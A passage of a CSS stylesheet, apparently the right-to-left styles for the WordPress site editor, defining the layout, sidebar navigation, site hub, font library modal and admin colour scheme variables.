  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout.is-full-canvas .edit-site-layout__view-mode-toggle.components-button{
  border-bottom-color:#e0e0e0;
  transition:border-bottom-color .15s ease-out .4s;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus{
  box-shadow:none;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
  transition:box-shadow .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-layout__view-mode-toggle.components-button:focus:before{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a, inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  border-radius:2px;
  display:flex;
  height:64px;
  justify-content:center;
  width:64px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-right:1px solid #ddd;
  }
}

.edit-site-layout.is-distraction-free .edit-site-layout__header-container{
  height:60px;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
  z-index:4;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within{
  opacity:1 !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within div{
  transform:translateX(0) translateY(0) translateZ(0) !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header-container:focus-within .edit-site-layout__header{
  opacity:1 !important;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header,.edit-site-layout.is-distraction-free .edit-site-site-hub{
  position:absolute;
  top:0;
  z-index:2;
}
.edit-site-layout.is-distraction-free .edit-site-site-hub{
  z-index:3;
}
.edit-site-layout.is-distraction-free .edit-site-layout__header{
  width:100%;
}

.edit-site-layout__area{
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 0 16px 16px;
  }
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:20px 16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
  .edit-site-save-panel__modal{
    width:600px;
  }
}

.edit-site-sidebar__content{
  flex-grow:1;
  overflow-y:auto;
}

.edit-site-sidebar__screen-wrapper{
  display:flex;
  flex-direction:column;
  height:100%;
  padding:0 12px;
  scrollbar-color:#0000 #0000;
  scrollbar-gutter:stable both-edges;
  scrollbar-gutter:stable;
  scrollbar-width:thin;
  will-change:transform;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{
  height:12px;
  width:12px;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{
  background-color:initial;
}
.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{
  background-clip:padding-box;
  background-color:initial;
  border:3px solid #0000;
  border-radius:8px;
}
.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{
  background-color:#757575;
}
.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{
  scrollbar-color:#757575 #0000;
}
@media (hover:none){
  .edit-site-sidebar__screen-wrapper{
    scrollbar-color:#757575 #0000;
  }
}

.edit-site-sidebar__footer{
  border-top:1px solid #2f2f2f;
  flex-shrink:0;
  margin:0 16px;
  padding:16px 0;
}

.edit-site-sidebar-button{
  color:#e0e0e0;
  flex-shrink:0;
}
.edit-site-sidebar-button:focus:not(:disabled){
  box-shadow:none;
  outline:none;
}
.edit-site-sidebar-button:focus-visible:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent, var(--wp-admin-theme-color, #007cba));
  outline:3px solid #0000;
}
.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover,.edit-site-sidebar-button:not([aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-item.components-item{
  border:none;
  border-radius:2px;
  color:#949494;
  min-height:40px;
  padding:8px 16px 8px 6px;
}
.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:#2f2f2f;
  color:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current] .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#e0e0e0;
}
.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:var(--wp-admin-theme-color);
  color:#fff;
}
.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{
  fill:#949494;
}
.edit-site-sidebar-navigation-item.components-item.with-suffix{
  padding-left:16px;
}

.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{
  cursor:grab;
  padding:8px 0 8px 8px;
}

.edit-site-sidebar-navigation-screen{
  display:flex;
  flex-direction:column;
  overflow-x:unset !important;
  position:relative;
}

.edit-site-sidebar-navigation-screen__main{
  flex-grow:1;
  margin-bottom:16px;
}
.edit-site-sidebar-navigation-screen__main.has-footer{
  margin-bottom:0;
}

.edit-site-sidebar-navigation-screen__content{
  padding:0 16px;
}
.edit-site-sidebar-navigation-screen__content .components-item-group{
  margin-left:-16px;
  margin-right:-16px;
}
.edit-site-sidebar-navigation-screen__content .components-text{
  color:#ccc;
}
.edit-site-sidebar-navigation-screen__content .components-heading{
  margin-bottom:8px;
}

.edit-site-sidebar-navigation-screen__meta{
  color:#ccc;
  margin:0 16px 16px 0;
}
.edit-site-sidebar-navigation-screen__meta .components-text{
  color:#ccc;
}

.edit-site-sidebar-navigation-screen__page-link{
  color:#949494;
  display:inline-block;
  word-break:break-word;
}
.edit-site-sidebar-navigation-screen__page-link:focus,.edit-site-sidebar-navigation-screen__page-link:hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen__page-link .components-external-link__icon{
  margin-right:4px;
}

.edit-site-sidebar-navigation-screen__title-icon{
  background:#1e1e1e;
  margin-bottom:8px;
  padding-bottom:8px;
  padding-top:108px;
  position:sticky;
  top:0;
  z-index:1;
}

.edit-site-sidebar-navigation-screen__title{
  flex-grow:1;
  overflow-wrap:break-word;
  padding:6px 0 0;
}

.edit-site-sidebar-navigation-screen__actions{
  display:flex;
  flex-shrink:0;
}

@media (min-width:782px){
  .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container{
    max-width:292px;
  }
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #1e1e1e;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px #f0f0f0;
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 1px var(--wp-admin-theme-color);
}
.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-style-variations-container .edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}

.edit-site-sidebar-navigation-screen__footer{
  background-color:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  gap:0;
  margin:16px 0 0;
  padding:16px 0;
  position:sticky;
}

.edit-site-sidebar__notice{
  background:#2f2f2f;
  color:#ddd;
  margin:24px 0;
}
.edit-site-sidebar__notice.is-dismissible{
  padding-left:8px;
}
.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]){
  color:#ccc;
}
.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.edit-site-sidebar__notice .components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen__input-control{
  width:100%;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{
  background:#2f2f2f !important;
  border-radius:2px;
  color:#e0e0e0 !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{
  border:4px !important;
}
.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{
  background:none;
}
.edit-site-sidebar-navigation-screen-details-footer .edit-site-sidebar-navigation-screen-details-footer__icon{
  margin-right:auto;
  fill:#949494;
}

.sidebar-navigation__more-menu .components-button{
  color:#e0e0e0;
}
.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{
  color:#f0f0f0;
}

.edit-site-sidebar-navigation-screen-page__featured-image-wrapper{
  background-color:#2f2f2f;
  border-radius:4px;
  margin-bottom:16px;
  min-height:128px;
}

.edit-site-sidebar-navigation-screen-page__featured-image{
  align-items:center;
  background-position:50% 50%;
  background-size:cover;
  border-radius:2px;
  color:#949494;
  display:flex;
  height:128px;
  justify-content:center;
  overflow:hidden;
  width:100%;
}
.edit-site-sidebar-navigation-screen-page__featured-image img{
  height:100%;
  object-fit:cover;
  object-position:50% 50%;
  width:100%;
}

.edit-site-sidebar-navigation-screen-page__featured-image-description{
  font-size:12px;
}

.edit-site-sidebar-navigation-screen-page__excerpt{
  font-size:12px;
  margin-bottom:24px;
}

.edit-site-sidebar-navigation-screen-page__modified{
  color:#949494;
  margin:0 16px 16px 0;
}
.edit-site-sidebar-navigation-screen-page__modified .components-text{
  color:#949494;
}

.edit-site-sidebar-navigation-screen-page__status{
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-page__status time{
  display:contents;
}
.edit-site-sidebar-navigation-screen-page__status svg{
  height:16px;
  margin-left:8px;
  width:16px;
  fill:#f0b849;
}
.edit-site-sidebar-navigation-screen-page__status.has-future-status svg,.edit-site-sidebar-navigation-screen-page__status.has-publish-status svg{
  fill:#4ab866;
}

.edit-site-sidebar-navigation-screen-templates__templates-group-title.components-item{
  border-top:1px solid #2f2f2f;
  color:#e0e0e0;
  font-size:11px;
  font-weight:500;
  padding:24px 16px 16px 6px;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-details-screen-panel{
  margin:24px 0;
}
.edit-site-sidebar-navigation-details-screen-panel:last-of-type{
  margin-bottom:0;
}
.edit-site-sidebar-navigation-details-screen-panel .edit-site-sidebar-navigation-details-screen-panel__heading{
  color:#ccc;
  font-size:11px;
  font-weight:500;
  margin-bottom:0;
  padding:0;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-details-screen-panel__label.edit-site-sidebar-navigation-details-screen-panel__label{
  color:#949494;
  flex-shrink:0;
  width:100px;
}

.edit-site-sidebar-navigation-details-screen-panel__value.edit-site-sidebar-navigation-details-screen-panel__value{
  color:#e0e0e0;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:24px;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description-author{
  align-items:center;
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-pattern__added-by-description-author img{
  border-radius:12px;
}
.edit-site-sidebar-navigation-screen-pattern__added-by-description-author svg{
  fill:#949494;
}

.edit-site-sidebar-navigation-screen-pattern__added-by-description-author-icon{
  height:24px;
  margin-left:8px;
  width:24px;
}

.edit-site-sidebar-navigation-screen-patterns__group{
  margin-bottom:24px;
}
.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{
  border-bottom:0;
  margin-bottom:0;
  padding-bottom:0;
}

.edit-site-sidebar-navigation-screen-patterns__group-header{
  margin-top:16px;
}
.edit-site-sidebar-navigation-screen-patterns__group-header p{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-patterns__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-navigation-screen-template__added-by-description{
  align-items:center;
  display:flex;
  justify-content:space-between;
  margin-top:24px;
}

.edit-site-sidebar-navigation-screen-template__added-by-description-author{
  align-items:center;
  display:inline-flex;
}
.edit-site-sidebar-navigation-screen-template__added-by-description-author img{
  border-radius:12px;
  height:20px;
  width:20px;
}
.edit-site-sidebar-navigation-screen-template__added-by-description-author svg{
  fill:#949494;
}

.edit-site-sidebar-navigation-screen-template__added-by-description-author-icon{
  align-items:center;
  display:inline-flex;
  height:24px;
  justify-content:center;
  margin-left:4px;
  width:24px;
}

.edit-site-sidebar-navigation-screen-template__template-area-button{
  align-items:center;
  border-radius:4px;
  color:#fff;
  display:flex;
  flex-wrap:nowrap;
  width:100%;
}
.edit-site-sidebar-navigation-screen-template__template-area-button:focus,.edit-site-sidebar-navigation-screen-template__template-area-button:hover{
  background:#2f2f2f;
  color:#fff;
}

.edit-site-sidebar-navigation-screen-template__template-area-label-text{
  flex-grow:1;
  margin:0 4px 0 16px;
}

.edit-site-sidebar-navigation-screen-template__template-icon{
  display:flex;
}

.edit-site-sidebar-navigation-screen-dataviews__group-header{
  margin-top:32px;
}
.edit-site-sidebar-navigation-screen-dataviews__group-header h2{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.edit-site-sidebar-dataviews-dataview-item{
  border-radius:2px;
  padding-left:8px;
}
.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{
  min-width:auto;
}
.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{
  background:#2f2f2f;
  color:#e0e0e0;
}
.edit-site-sidebar-dataviews-dataview-item.is-selected{
  background:var(--wp-admin-theme-color);
  color:#fff;
}

.edit-site-site-hub{
  align-items:center;
  display:flex;
  gap:8px;
  justify-content:space-between;
}
.edit-site-site-hub .edit-site-site-hub__container{
  gap:0;
}
.edit-site-site-hub .edit-site-site-hub__site-title,.edit-site-site-hub .edit-site-site-hub__site-view-link,.edit-site-site-hub .edit-site-site-hub_toggle-command-center{
  transition:opacity .1s ease;
}
.edit-site-site-hub .edit-site-site-hub__site-title.is-transparent,.edit-site-site-hub .edit-site-site-hub__site-view-link.is-transparent,.edit-site-site-hub .edit-site-site-hub_toggle-command-center.is-transparent{
  opacity:0 !important;
}
.edit-site-site-hub .edit-site-site-hub__site-view-link{
  flex-grow:0;
  margin-left:var(--wp-admin-border-width-focus);
}
.edit-site-site-hub .edit-site-site-hub__site-view-link svg{
  fill:#e0e0e0;
}

.edit-site-site-hub__post-type{
  opacity:.6;
}

.edit-site-site-hub__view-mode-toggle-container{
  background:#1e1e1e;
  flex-shrink:0;
  height:60px;
  width:60px;
}
.edit-site-site-hub__view-mode-toggle-container.has-transparent-background{
  background:#0000;
}

.edit-site-site-hub__text-content{
  overflow:hidden;
}

.edit-site-site-hub__title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.edit-site-site-hub__site-title{
  color:#e0e0e0;
  flex-grow:1;
}

.edit-site-site-hub_toggle-command-center{
  color:#e0e0e0;
}
.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{
  fill:#f0f0f0;
}

.edit-site-sidebar-navigation-screen__description{
  margin:0 0 32px;
}

.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf{
  border-radius:2px;
  max-width:calc(100% - 4px);
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf[aria-current]{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block__menu{
  margin-right:-8px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected>td{
  background:#0000;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents{
  color:inherit;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:not(:hover) .block-editor-list-view-block__menu{
  opacity:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover{
  color:#fff;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:focus .block-editor-list-view-block__menu-cell,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected:hover .block-editor-list-view-block__menu-cell{
  opacity:1;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){
  background:#0000;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .offcanvas-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch):hover{
  background:#2f2f2f;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{
  width:100%;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{
  white-space:normal;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{
  margin-top:3px;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{
  padding-left:0;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button{
  color:#949494;
}
.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .components-button[aria-current]{
  color:#fff;
}

.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{
  display:block;
  margin-left:auto;
  margin-right:auto;
}

.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{
  display:none;
}

.edit-site-site-icon__icon{
  fill:currentColor;
  transition:padding .3s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-site-icon__icon{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{
  padding:6px;
}

.edit-site-site-icon__image{
  background:#333;
  border-radius:4px;
  height:100%;
  object-fit:cover;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-site-icon__image{
  border-radius:0;
}

.edit-site-style-book{
  height:100%;
}

.edit-site-style-book.is-button,.edit-site-style-book__iframe.is-button{
  border-radius:8px;
}
.edit-site-style-book__iframe.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-style-book__tabs [role=tablist]{
  background:#fff;
  color:#1e1e1e;
}
.edit-site-style-book__tabs [role=tabpanel]{
  bottom:0;
  left:0;
  overflow:auto;
  padding:0;
  position:absolute;
  right:0;
  top:48px;
}

.edit-site-editor-canvas-container{
  background:#fff;
  border-radius:2px;
  bottom:0;
  left:0;
  overflow:hidden;
  position:absolute;
  right:0;
  top:0;
  transition:all .3s;
}

.edit-site-editor-canvas-container__close-button{
  background:#fff;
  left:8px;
  position:absolute;
  top:6px;
  z-index:1;
}

.edit-site-resizable-frame__inner{
  position:relative;
}
body:has(.edit-site-resizable-frame__inner.is-resizing){
  cursor:col-resize;
  user-select:none;
  -webkit-user-select:none;
}

.edit-site-resizable-frame__inner.is-resizing:before{
  content:"";
  inset:0;
  position:absolute;
  z-index:1;
}

.edit-site-resizable-frame__inner-content{
  inset:0;
  position:absolute;
  z-index:0;
}

.edit-site-resizable-frame__handle{
  align-items:center;
  background-color:#75757566;
  border:0;
  border-radius:4px;
  cursor:col-resize;
  display:flex;
  height:64px;
  justify-content:flex-end;
  padding:0;
  position:absolute;
  top:calc(50% - 32px);
  width:4px;
  z-index:100;
}
.edit-site-resizable-frame__handle:before{
  content:"";
  height:100%;
  position:absolute;
  right:100%;
  width:32px;
}
.edit-site-resizable-frame__handle:after{
  content:"";
  height:100%;
  left:100%;
  position:absolute;
  width:32px;
}
.edit-site-resizable-frame__handle:focus-visible{
  outline:2px solid #0000;
}
.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{
  background-color:var(--wp-admin-theme-color);
}

.edit-site-push-changes-to-global-styles-control .components-button{
  justify-content:center;
  width:100%;
}

@media (min-width:782px){
  .font-library-modal.font-library-modal{
    width:65vw;
  }
}
.font-library-modal .components-modal__header{
  border-bottom:none;
}
.font-library-modal .components-modal__content{
  margin-bottom:70px;
  padding-top:0;
}
.font-library-modal .font-library-modal__subtitle{
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}
.font-library-modal .components-navigator-screen{
  padding:3px;
}

.font-library-modal__tabpanel-layout{
  margin-top:32px;
}
.font-library-modal__tabpanel-layout .font-library-modal__tabpanel-layout__footer{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:32px;
  height:70px;
  margin:0 -32px -32px;
  padding:16px 32px;
  position:absolute;
  width:100%;
}

.font-library-modal__tabpanel-layout .components-base-control__field{
  margin-bottom:0;
}

.font-library-modal__font-card{
  border:1px solid #e0e0e0;
  height:auto;
  margin-top:-1px;
  padding:16px;
  width:100%;
}
.font-library-modal__font-card:hover{
  background-color:#f0f0f0;
}
.font-library-modal__font-card .font-library-modal__font-card__name{
  font-weight:700;
}
.font-library-modal__font-card .font-library-modal__font-card__count{
  color:#757575;
}

.font-library-modal__font-variant_demo-image{
  display:block;
  height:24px;
  width:auto;
}

.font-library-modal__font-variant_demo-text{
  flex-shrink:0;
  transition:opacity .3s ease-in-out;
  white-space:nowrap;
}
@media (prefers-reduced-motion:reduce){
  .font-library-modal__font-variant_demo-text{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.font-library-modal__font-variant{
  border-bottom:1px solid #e0e0e0;
  padding-bottom:16px;
}

.font-library-modal__tabs [role=tablist]{
  background:#fff;
  border-bottom:1px solid #ddd;
  margin:0 -32px;
  padding:0 16px;
  position:sticky;
  top:0;
  z-index:1;
}

.font-library-modal__upload-area{
  align-items:center;
  display:flex;
  height:256px;
  justify-content:center;
  width:100%;
}

button.font-library-modal__upload-area{
  background-color:#f0f0f0;
}

.font-library-modal__local-fonts{
  margin:0 auto;
  width:80%;
}
.font-library-modal__local-fonts .font-library-modal__upload-area__text{
  color:#757575;
}

.font-library__google-fonts-confirm{
  align-items:center;
  display:flex;
  justify-content:center;
  margin-top:64px;
}
.font-library__google-fonts-confirm h3{
  font-size:1.4rem;
}
.font-library__google-fonts-confirm .components-card{
  max-width:400px;
  min-width:350px;
  width:50%;
}

.edit-site-pagination .components-button.is-tertiary{
  height:32px;
  justify-content:center;
  width:32px;
}

body.js #wpadminbar{
  display:none;
}

body.js #wpbody{
  padding-top:0;
}

body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{
  padding-right:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

body.js.site-editor-php{
  background:#1e1e1e;
}

.components-modal__frame,.edit-site{
  box-sizing:border-box;
}
.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-site *,.edit-site :after,.edit-site :before{
  box-sizing:inherit;
}

.edit-site{
  height:100vh;
}
@media (min-width:600px){
  .edit-site{
    bottom:0;
    left:0;
    min-height:100vh;
    position:fixed;
    right:0;
    top:0;
  }
}
.no-js .edit-site{
  min-height:0;
  position:static;
}
.edit-site .interface-interface-skeleton{
  top:0;
}
.edit-site .interface-complementary-area__pin-unpin-item.components-button{
  display:none;
}
.edit-site .interface-interface-skeleton__content{
  background-color:#1e1e1e;
}
@keyframes edit-post__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
